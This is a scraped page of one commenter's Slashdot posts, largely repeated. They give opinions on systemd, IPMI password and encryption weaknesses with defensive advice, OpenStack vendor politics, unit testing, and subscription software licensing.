For people who dig deep in, huge difference with very polarizing attributes. Some people like the goodies it brings, but it changes a whole lot of stuff in the process without much of a care for appeasing those that appreciate how things worked.
Basically, systemd is building something different. Some say better, some say worse. I happen to be in the latter camp even after using it at significant length.
Same can be said of http and https. Nothing specific to IPMI.
it is shared secret rather than DH or similar.
Well that may be a better way to settle the symmetric key value, but then you have to discuss authentication as a separate item, since Kuid currently serves both in establishing keys as well as authenticating the parties to one another. SNMPv3 USM seems to be a pretty appropriate model for this scenario (where certificate systems are likely to be ignored), which is pretty similar in kind to IPMI except that the client goes first and the key is localized based on a server identifier meaning the secret need not be stored in the clear on the management target.
Anything involving MD5 needs to go.
Well, one IPMI does SHA256 or SHA1. For another, I'm unaware of any attack even against MD5 that would compromise the security when used in an HMAC scheme, as is the case for the hash function use in IPMI.
systemd and OpenLMI I find worrisome. systemd being the one impossible to ignore so OpenLMI at least gets something of a pass for the ability to totally ignore it.
systemd has been hashed out time and time again, but OpenLMI is something rarely discussed. DMTF has championed CIM for eons, and the architecture shows in that it clearly defines things as you would see a buzzword compliant enterprise define an architecture amidst the dotcom boom of the late 90s (complete with XML over SOAP and all sorts of other nastiness). It represents drinking the kool-aid after much of the ecosystem has moved on (microsoft has de-emphasized CIM, many of the enterprise vendors that once always provided and demanded CIM providers have come around to a viewpoint that CIM style instrumentation isn't perhaps the best idea).
There are scenarios in which a meticulously backported base with few to no functional changes is valuable. That is the entire point of RHEL, to be able to have support lifecycle that more closely matches Microsoft or Unix offerings.
If you need more rapidly updating content, then a distribution like Ubuntu or Arch or Fedora is a better fit. Ubuntu LTS might be a decent approach for some. The good thing about this ecosystem is you can select an experience based on your needs.
I don't think any amount of training is going to make me able to do Stephen Hawking's work. I also could never be trained to the point of competing with an NBA player at basketball.
Not everyone can do anything. Many can do what they happen to be passionate about, but even then it's not always possible to work out. Some people have exceptional talent and passion in a field and some just flat out lack one or both. There's only so far you can go training someone when their brain just isn't *wired* that way.
I will say that the serial channel is useful as well. But this 'all channels are arbitrary' should go. CHannel 0 being the 'in-band, channel 1 always being *the* lan (currently some people have multiple lan channels, this should go away), and channel 2 always being a serial channel, if applicable, could make sense. Usually the serial channel serves as a way to indicate SOL related data and is rarely used for initial purpose of rs232 connected devices, so perhaps reimagine that as just more commands and ditch the serial channel.
would suggest simple encryption (no, not SSL, I said simple
Well, that's what they have. Simple encryption using Kuid as a shared secret scheme. The challenge being that the key derivation is dead simple (just use the ascii password directly) and the server proves itself first (which is due to mimicking SSL behavior I assume, but stupid since the private key is not a generated computer value but usually 8-10 characters selected by a human). As a backend protocol, it actually can be done quite securely so long as the configuration limits passwords to impractical to crack values.
One thing is that the materials do not distinguish 'service processors' from 'IPMI' the protocol.
The general facets on service processors broadly are no different than any 'appliance': vendors (particularly cheap ones) are lax about security and updates and there is not a lot you can do about it other than pick a vendor that seems to care or isolate the devices. This is nothing unique to the world of 'IPMI'.
In terms of IPMI, there are things in there that should be and in fact are effectively removed by some vendors today (cipher suite 0, auth none, null user). There are things that can be more complicated and probably should be limited (same username can mean different things on different ports or even the same port but different circumstances). Finally, there is the rather significant peculiarity of the 'password'. The 'password' is really a shared secret, meaning that the target must store it in the 'clear' ultimately. Additionally, the target issues a solved challenge first to prove itself to a client, meaning an unauthenticated entity can get a solved challenge and then offline crack the password if it is simple enough (roughly 1,000 times easier than cracking an entry in/etc/shadow).
So now what to do? Well for one, you should know whether your vendor will share a bmc on it's "normal" ethernet by default. You should have ipmi traffic unreachable by internet systems unless you really know what you are doing (it's not the best long haul protocol anyway). If you can stand it, use random passwords that are unique to each BMC (meaning that an offline attack is rendered futile and a janitor attack can only compromise the system that is already dissected). IPMI can be implemented and configured to be internet-facing secure, but there really isn't a lot of compelling reason to be internet-facing with it. Vendors like Dell, HP, and IBM are more likely to feel the pressure to provide safer defaults than bare board vendors and lower cost vendors.
I think I'll say that a lot of stuff aside from modern is as good as 7, though I'm not sure stability or security specifically seem better, though I think I agree with performance and system requirements. It does do a few things more to break backward compatibility as a downside.
Sure, there's people with deficient skills and that's a training issue.
There are also people who do not have relevant talent for whom no amount of training will address.
Sure, maybe it's impolite to use words like 'dummy' or 'idiot', but sometimes you have people who are not and can not be useful for tasks that you need. Really good leaders recognize the difference between a talent and skills gap and figures out who can do what even if it requires some investment, but the road is not always a rosy one. Even getting rid of someone is usually ok, because a person with mismatched talent will generally be able to find unrelated work that is far more gratifying as it aligns with their situation better.
counting on new Internet users in underserved regions to boost revenue, and ultimately, earnings.
If they were doing this out of a sense of humanitarianism thinking the internet is so important that they want to do some altruistic investment, that's one thing.
If they are thinking they have a significant revenue opportunity in regions without infrastructure to otherwise participate in the internet, that seems a dubious investment. It seems that such areas are underserrved because they can't afford it. Spending a large amount of money to work around one fairly small facet of their reality seems like it would be challenging to recoup. I suppose as a reach they could believe that internet access would accelerate some elevation in socioeconomic conditions for such areas, though that would be a bit of overconfidence in what access to the internet could help a society overcome...
I personally am surprised at just how much of the population is enthusiastic about the increasing breadth and depth of control over our lives being assumed by a very small number of companies (e.g. amazon, google, apple). In internet technology in particular it is sort of sad to see since that has had so much of its functionality well federated and we are generally seeing it degrade into proprietary walled gardens with 'trusted' companies owning their little piece of ecosystem wholly.
Is what the summary aludes to: 95% of the people I see who are 'in' Openstack are not users, but people assigned by vendor 'X' to make sure that vendor 'X' is not rendered irrelevant. A large chunk of the resource behind openstack verges on technical marketing rather than development.
I see this as more worrisome than the Linux case. Linux adoption was also developer heavy with few users, but developers with genuine passion were on it. Here we have an ecosystem of vendors that is fearful of 'the next linux' and putting armies of developers on it to push agendas around as much if not more than push actual technical capabilities. There are some passionate 'true believers', but by volume you mostly have developers doing it as 'just another job'. Linux has certainly coped with that, but only after a very long period of baking in an architecture before the vendors got motivated. Openstack got slammed with vendors on day 0 and thus the whole architecture is afflicted with some pretty gnarly stuff and I'm not seeing a lot of signs that those will be addressed.
Thus far when I see openstack implementation start in earnest by a site, it evolves within a year to either being given up or being Openstack in name only as they just replace most of it with home-grown tooling that works.
It's a big budget item to run in-house
And this is one of the issues with it. It doesn't quite manage to make things significantly easier than rolling your own stuff. It bears actually a resemblance to many vendor driven industry standards in this way: uselessly open ended so everyone's agenda could be accommodated.
I think it being the Daily Mail is secondary to the issue that it could have been *any* client of the cloud based offerings to be afflicted You can be completely dismissive of the Daily Mail but still appreciate that the problem could have hit a more valuable publication. Daily Mail I just new about because a story about their woes popped up in my reader.
If you make brilliant code that only you can understand
There's a false dichotomy here. He said that only *some* are qualified enough to create solutions to complex problems. You are saying his claim is that only *one* can understand, implying that the problem can't possibly be too hard, and that any hard code to follow is just because the developer is terrible at coding.
As a counter to your example of the Pythagorean Theorem, what about post-graduate math and science? There are tons of things which would make 40 steps seem easy by comparison. Should society forgo those just because only some people are realistically going to be able to understand and apply that correctly?
A very ubiquitous situation is that with the 'anyone can understand it or else it shouldn't exist at all' philosophy, there is no way we'd have cryptographic libraries at all.
I will agree that his stance against processes is a bit too harsh, but I've been around enough to know in some scenarios such a jaded perspective would be perfectly understandable. I've seen some projects that had appropriate and helpful processes that did help quality, but been witness to many many more that had ineffective process that achieved nothing but create busy work while still churning out crap code.
The article contains the same flaw that people who rabidly declare unit tests as a panacea. The article basically shows that after discovery of a bug, a unit test can retroactively be constructed that would have caught the bug, therefore it's inexcusable that the bug got released, ignoring the fact that is hindsight. Unit tests are not without their utility certainly, but practically speaking you will not be able to construct unit tests that catches every single possible scenario. This is tricky enough for trying to catch functional problems, but for security problems where an adversary is explicitly trying to bend something beyond even what the developer conceived of in design, unit tests become even more tricky. If someone has the foresight in implementing a feature to craft a test case to explicitly try malicious things, then they probably wouldn't have messed up the code in the first place. Of course, there is value in having the first developer with that awareness institute such a test case so that a follow up activity gets checked, but I think in most of the cases the bug came with the first checkin of the function, meaning the developer just never considered the possibility at all. This means they made buggy code and they would have or in fact did also made inadequate test cases. You can't just say 'if Apple had done unit tests, their code would have been perfect!'. There are projects without unit tests that fare pretty well and there are projects with unit tests that fail miserably in terms of quality.
I have heard people claim with a straight face that they now have '100% coverage' through unit tests and then go on to say at-will releases are therefore safe to do without any particular testing.
Some sites such as the daily mail missed publication because of the outage, so it obviously wasn't minor to everyone.
This could have happened regardless of Creative Cloud.
Of course I don't think people would be very excited about any such DRM scheme. In the professional environment, software vendors take particular care to enable privately hosted license management servers *precisely* because of this risk. EA is a steaming pile in general, so that's not setting the bar high. MS has KMS servers for enterprises to deploy and even failing that, their activation is fairly forgiving in letting you use the software at least for a while without successful activation.
Compared to the traditional model, it may cost more or less
The problem from what I hear in this case is that Adobe is not delivering a lot of compelling new features. Hence the push by them to get you into renting the software, because perpetually licensed photoshop is less and less likely to drive upgrade revenue. Same thing with Office365, at some point these applications are 'finished' for 99% of the market and the vendor finds themselves in a tricky spot of having no where to go.
A better analogy would be a 'car hugger' who insists on owning a car when he can just rent one when needed. That pretty much is the 'cloud' model in a nutshell.
Car renting makes a lot of sense in some cases. If I drove once in a long while, it's better to rent than to own. If I'm a business that occasionally needs to move a large chunk of stuff, then I hire a moving company or rent a truck.
On the flipside, owning such vehicles makes sense for some people. If you need to drive 10 to 20 miles a day, you'd be crazy to just rent. If you are a moving company, you'd want to own your vehicles. Renting only works when your needs are so low as to be better to suffer the overhead of the vendor.
So yes, the cloud model has relevance for certain scenarios where the costs and risks go a certain way. It also doesn't make sense for a whole ton of scenarios. Cloud solutions can help those with usually light needs with occasional large needs and for cases where you can't secure the necessary skill or resources to mitigate your own risk effectively. Cloud solutions can also be expensive for clients with consistently high load and can subject the client to higher risks if the in-house skills and resources are available to do it better.
Not quite. Formerly an init.d script 'should' do a few things, but if it had some other verbs, that's ok. Now, systemd will complain loudly about 'reload', a fairly common 'non-standard' verb.
RH shouldn't be expected to provide commercial support for infrastructure management by non-RH Openstack, even if other RH components are 'nearby'.
RH should provide support for RHEL instances run inside whatever virtualization solution (openstack or whatever)
RH should provide os level support for RHEL servers running openstack components, but openstack components then become 'just another app that isn't RH' responsibility.
I meant if you were in some ball and the ball was dropped from 10 feet, the person inside would briefly experience 'weightlessness' because the ball (the environment) is accelerating at the same rate and things like air is shielded from the senses by the ball.
You can be 'weightless' at an altitude of 10 feet (for a very brief period of time). You don't have to be in space to be weightless, just in an environment that is accelerating at the same rate as you in the same direction.
But I take the point that physiologically there would be much difference between 50 and 64 miles up inside a vessel.
You obviously aren't inventive enough. Personally, if I had 365 days of vacation a year I'd still want more (that one day in February every few years would suck).
So in this case, the person is in a class action suit. His frustration is that the lawyers who effectively control the thing from the plaintiff perspective have a significant conflict of interest and his voice is likely to go unanswered. The lawyers want the easier money which will be a large amount for them and a moderate amount for the members of the class. Most of the class would be happy to get a moderate amount and fully expect that they were just screwed. He would rather go through the effort to get his day in court and risk the guaranteed money to get back at the defendants more effectively.
In a union, he again consigns his particular fate to leadership that is just as likely to pay little attention to his particular grievances for the sake of their own welfare and sometimes the welfare of the whole.
What he really wants is to not to consign his particular fate to class action lawyers and a union in this case would resemble the same situation. Whether you believe a union overall is a good or bad idea, in this particular scenario I wouldn't expect a significantly better situation for the person's particular sensibilities in this scenario.
Slashdot Mirror
For a large chunk of users, no diffence.
For people who dig deep in, huge difference with very polarizing attributes. Some people like the goodies it brings, but it changes a whole lot of stuff in the process without much of a care for appeasing those that appreciate how things worked.
Basically, systemd is building something different. Some say better, some say worse. I happen to be in the latter camp even after using it at significant length.
They have encryption, but it is not mandatory
Same can be said of http and https. Nothing specific to IPMI.
it is shared secret rather than DH or similar.
Well that may be a better way to settle the symmetric key value, but then you have to discuss authentication as a separate item, since Kuid currently serves both in establishing keys as well as authenticating the parties to one another. SNMPv3 USM seems to be a pretty appropriate model for this scenario (where certificate systems are likely to be ignored), which is pretty similar in kind to IPMI except that the client goes first and the key is localized based on a server identifier meaning the secret need not be stored in the clear on the management target.
Anything involving MD5 needs to go.
Well, one IPMI does SHA256 or SHA1. For another, I'm unaware of any attack even against MD5 that would compromise the security when used in an HMAC scheme, as is the case for the hash function use in IPMI.
XFS and PCP are good things to include.
systemd and OpenLMI I find worrisome. systemd being the one impossible to ignore so OpenLMI at least gets something of a pass for the ability to totally ignore it.
systemd has been hashed out time and time again, but OpenLMI is something rarely discussed. DMTF has championed CIM for eons, and the architecture shows in that it clearly defines things as you would see a buzzword compliant enterprise define an architecture amidst the dotcom boom of the late 90s (complete with XML over SOAP and all sorts of other nastiness). It represents drinking the kool-aid after much of the ecosystem has moved on (microsoft has de-emphasized CIM, many of the enterprise vendors that once always provided and demanded CIM providers have come around to a viewpoint that CIM style instrumentation isn't perhaps the best idea).
There are scenarios in which a meticulously backported base with few to no functional changes is valuable. That is the entire point of RHEL, to be able to have support lifecycle that more closely matches Microsoft or Unix offerings.
If you need more rapidly updating content, then a distribution like Ubuntu or Arch or Fedora is a better fit. Ubuntu LTS might be a decent approach for some. The good thing about this ecosystem is you can select an experience based on your needs.
I don't think any amount of training is going to make me able to do Stephen Hawking's work. I also could never be trained to the point of competing with an NBA player at basketball.
Not everyone can do anything. Many can do what they happen to be passionate about, but even then it's not always possible to work out. Some people have exceptional talent and passion in a field and some just flat out lack one or both. There's only so far you can go training someone when their brain just isn't *wired* that way.
I will say that the serial channel is useful as well. But this 'all channels are arbitrary' should go. CHannel 0 being the 'in-band, channel 1 always being *the* lan (currently some people have multiple lan channels, this should go away), and channel 2 always being a serial channel, if applicable, could make sense. Usually the serial channel serves as a way to indicate SOL related data and is rarely used for initial purpose of rs232 connected devices, so perhaps reimagine that as just more commands and ditch the serial channel.
would suggest simple encryption (no, not SSL, I said simple
Well, that's what they have. Simple encryption using Kuid as a shared secret scheme. The challenge being that the key derivation is dead simple (just use the ascii password directly) and the server proves itself first (which is due to mimicking SSL behavior I assume, but stupid since the private key is not a generated computer value but usually 8-10 characters selected by a human). As a backend protocol, it actually can be done quite securely so long as the configuration limits passwords to impractical to crack values.
One thing is that the materials do not distinguish 'service processors' from 'IPMI' the protocol.
The general facets on service processors broadly are no different than any 'appliance': vendors (particularly cheap ones) are lax about security and updates and there is not a lot you can do about it other than pick a vendor that seems to care or isolate the devices. This is nothing unique to the world of 'IPMI'.
In terms of IPMI, there are things in there that should be and in fact are effectively removed by some vendors today (cipher suite 0, auth none, null user). There are things that can be more complicated and probably should be limited (same username can mean different things on different ports or even the same port but different circumstances). Finally, there is the rather significant peculiarity of the 'password'. The 'password' is really a shared secret, meaning that the target must store it in the 'clear' ultimately. Additionally, the target issues a solved challenge first to prove itself to a client, meaning an unauthenticated entity can get a solved challenge and then offline crack the password if it is simple enough (roughly 1,000 times easier than cracking an entry in /etc/shadow).
So now what to do? Well for one, you should know whether your vendor will share a bmc on it's "normal" ethernet by default. You should have ipmi traffic unreachable by internet systems unless you really know what you are doing (it's not the best long haul protocol anyway). If you can stand it, use random passwords that are unique to each BMC (meaning that an offline attack is rendered futile and a janitor attack can only compromise the system that is already dissected). IPMI can be implemented and configured to be internet-facing secure, but there really isn't a lot of compelling reason to be internet-facing with it. Vendors like Dell, HP, and IBM are more likely to feel the pressure to provide safer defaults than bare board vendors and lower cost vendors.
MotionInJoy
Dear god no. MotionInJoy is the insufferable ball of crap I dealt with before the driver here:
http://forums.pcsx2.net/Thread...
Was available.
I think I'll say that a lot of stuff aside from modern is as good as 7, though I'm not sure stability or security specifically seem better, though I think I agree with performance and system requirements. It does do a few things more to break backward compatibility as a downside.
Sure, there's people with deficient skills and that's a training issue.
There are also people who do not have relevant talent for whom no amount of training will address.
Sure, maybe it's impolite to use words like 'dummy' or 'idiot', but sometimes you have people who are not and can not be useful for tasks that you need. Really good leaders recognize the difference between a talent and skills gap and figures out who can do what even if it requires some investment, but the road is not always a rosy one. Even getting rid of someone is usually ok, because a person with mismatched talent will generally be able to find unrelated work that is far more gratifying as it aligns with their situation better.
counting on new Internet users in underserved regions to boost revenue, and ultimately, earnings.
If they were doing this out of a sense of humanitarianism thinking the internet is so important that they want to do some altruistic investment, that's one thing.
If they are thinking they have a significant revenue opportunity in regions without infrastructure to otherwise participate in the internet, that seems a dubious investment. It seems that such areas are underserrved because they can't afford it. Spending a large amount of money to work around one fairly small facet of their reality seems like it would be challenging to recoup. I suppose as a reach they could believe that internet access would accelerate some elevation in socioeconomic conditions for such areas, though that would be a bit of overconfidence in what access to the internet could help a society overcome...
I personally am surprised at just how much of the population is enthusiastic about the increasing breadth and depth of control over our lives being assumed by a very small number of companies (e.g. amazon, google, apple). In internet technology in particular it is sort of sad to see since that has had so much of its functionality well federated and we are generally seeing it degrade into proprietary walled gardens with 'trusted' companies owning their little piece of ecosystem wholly.
Is what the summary aludes to: 95% of the people I see who are 'in' Openstack are not users, but people assigned by vendor 'X' to make sure that vendor 'X' is not rendered irrelevant. A large chunk of the resource behind openstack verges on technical marketing rather than development.
I see this as more worrisome than the Linux case. Linux adoption was also developer heavy with few users, but developers with genuine passion were on it. Here we have an ecosystem of vendors that is fearful of 'the next linux' and putting armies of developers on it to push agendas around as much if not more than push actual technical capabilities. There are some passionate 'true believers', but by volume you mostly have developers doing it as 'just another job'. Linux has certainly coped with that, but only after a very long period of baking in an architecture before the vendors got motivated. Openstack got slammed with vendors on day 0 and thus the whole architecture is afflicted with some pretty gnarly stuff and I'm not seeing a lot of signs that those will be addressed.
Thus far when I see openstack implementation start in earnest by a site, it evolves within a year to either being given up or being Openstack in name only as they just replace most of it with home-grown tooling that works.
It's a big budget item to run in-house
And this is one of the issues with it. It doesn't quite manage to make things significantly easier than rolling your own stuff. It bears actually a resemblance to many vendor driven industry standards in this way: uselessly open ended so everyone's agenda could be accommodated.
I think it being the Daily Mail is secondary to the issue that it could have been *any* client of the cloud based offerings to be afflicted You can be completely dismissive of the Daily Mail but still appreciate that the problem could have hit a more valuable publication. Daily Mail I just new about because a story about their woes popped up in my reader.
If you make brilliant code that only you can understand
There's a false dichotomy here. He said that only *some* are qualified enough to create solutions to complex problems. You are saying his claim is that only *one* can understand, implying that the problem can't possibly be too hard, and that any hard code to follow is just because the developer is terrible at coding.
As a counter to your example of the Pythagorean Theorem, what about post-graduate math and science? There are tons of things which would make 40 steps seem easy by comparison. Should society forgo those just because only some people are realistically going to be able to understand and apply that correctly?
A very ubiquitous situation is that with the 'anyone can understand it or else it shouldn't exist at all' philosophy, there is no way we'd have cryptographic libraries at all.
I will agree that his stance against processes is a bit too harsh, but I've been around enough to know in some scenarios such a jaded perspective would be perfectly understandable. I've seen some projects that had appropriate and helpful processes that did help quality, but been witness to many many more that had ineffective process that achieved nothing but create busy work while still churning out crap code.
The article contains the same flaw that people who rabidly declare unit tests as a panacea. The article basically shows that after discovery of a bug, a unit test can retroactively be constructed that would have caught the bug, therefore it's inexcusable that the bug got released, ignoring the fact that is hindsight. Unit tests are not without their utility certainly, but practically speaking you will not be able to construct unit tests that catches every single possible scenario. This is tricky enough for trying to catch functional problems, but for security problems where an adversary is explicitly trying to bend something beyond even what the developer conceived of in design, unit tests become even more tricky. If someone has the foresight in implementing a feature to craft a test case to explicitly try malicious things, then they probably wouldn't have messed up the code in the first place. Of course, there is value in having the first developer with that awareness institute such a test case so that a follow up activity gets checked, but I think in most of the cases the bug came with the first checkin of the function, meaning the developer just never considered the possibility at all. This means they made buggy code and they would have or in fact did also made inadequate test cases. You can't just say 'if Apple had done unit tests, their code would have been perfect!'. There are projects without unit tests that fare pretty well and there are projects with unit tests that fail miserably in terms of quality.
I have heard people claim with a straight face that they now have '100% coverage' through unit tests and then go on to say at-will releases are therefore safe to do without any particular testing.
Some sites such as the daily mail missed publication because of the outage, so it obviously wasn't minor to everyone.
This could have happened regardless of Creative Cloud.
Of course I don't think people would be very excited about any such DRM scheme. In the professional environment, software vendors take particular care to enable privately hosted license management servers *precisely* because of this risk. EA is a steaming pile in general, so that's not setting the bar high. MS has KMS servers for enterprises to deploy and even failing that, their activation is fairly forgiving in letting you use the software at least for a while without successful activation.
Compared to the traditional model, it may cost more or less
The problem from what I hear in this case is that Adobe is not delivering a lot of compelling new features. Hence the push by them to get you into renting the software, because perpetually licensed photoshop is less and less likely to drive upgrade revenue. Same thing with Office365, at some point these applications are 'finished' for 99% of the market and the vendor finds themselves in a tricky spot of having no where to go.
A better analogy would be a 'car hugger' who insists on owning a car when he can just rent one when needed. That pretty much is the 'cloud' model in a nutshell.
Car renting makes a lot of sense in some cases. If I drove once in a long while, it's better to rent than to own. If I'm a business that occasionally needs to move a large chunk of stuff, then I hire a moving company or rent a truck.
On the flipside, owning such vehicles makes sense for some people. If you need to drive 10 to 20 miles a day, you'd be crazy to just rent. If you are a moving company, you'd want to own your vehicles. Renting only works when your needs are so low as to be better to suffer the overhead of the vendor.
So yes, the cloud model has relevance for certain scenarios where the costs and risks go a certain way. It also doesn't make sense for a whole ton of scenarios. Cloud solutions can help those with usually light needs with occasional large needs and for cases where you can't secure the necessary skill or resources to mitigate your own risk effectively. Cloud solutions can also be expensive for clients with consistently high load and can subject the client to higher risks if the in-house skills and resources are available to do it better.
it is compatible with legacy init.d scripts.
Not quite. Formerly an init.d script 'should' do a few things, but if it had some other verbs, that's ok. Now, systemd will complain loudly about 'reload', a fairly common 'non-standard' verb.
RH shouldn't be expected to provide commercial support for infrastructure management by non-RH Openstack, even if other RH components are 'nearby'.
RH should provide support for RHEL instances run inside whatever virtualization solution (openstack or whatever)
RH should provide os level support for RHEL servers running openstack components, but openstack components then become 'just another app that isn't RH' responsibility.
This isn't that hard to understand.
I meant if you were in some ball and the ball was dropped from 10 feet, the person inside would briefly experience 'weightlessness' because the ball (the environment) is accelerating at the same rate and things like air is shielded from the senses by the ball.
The ISS (and anything in orbit) is under constant acceleration due to gravity.
You can be 'weightless' at an altitude of 10 feet (for a very brief period of time). You don't have to be in space to be weightless, just in an environment that is accelerating at the same rate as you in the same direction.
But I take the point that physiologically there would be much difference between 50 and 64 miles up inside a vessel.
went around slicing through fiber lines
Talk about a new take on the whole 'broken glass' fallacy.
I get more vacation than i know what to do with.
You obviously aren't inventive enough. Personally, if I had 365 days of vacation a year I'd still want more (that one day in February every few years would suck).
So in this case, the person is in a class action suit. His frustration is that the lawyers who effectively control the thing from the plaintiff perspective have a significant conflict of interest and his voice is likely to go unanswered. The lawyers want the easier money which will be a large amount for them and a moderate amount for the members of the class. Most of the class would be happy to get a moderate amount and fully expect that they were just screwed. He would rather go through the effort to get his day in court and risk the guaranteed money to get back at the defendants more effectively.
In a union, he again consigns his particular fate to leadership that is just as likely to pay little attention to his particular grievances for the sake of their own welfare and sometimes the welfare of the whole.
What he really wants is to not to consign his particular fate to class action lawyers and a union in this case would resemble the same situation. Whether you believe a union overall is a good or bad idea, in this particular scenario I wouldn't expect a significantly better situation for the person's particular sensibilities in this scenario.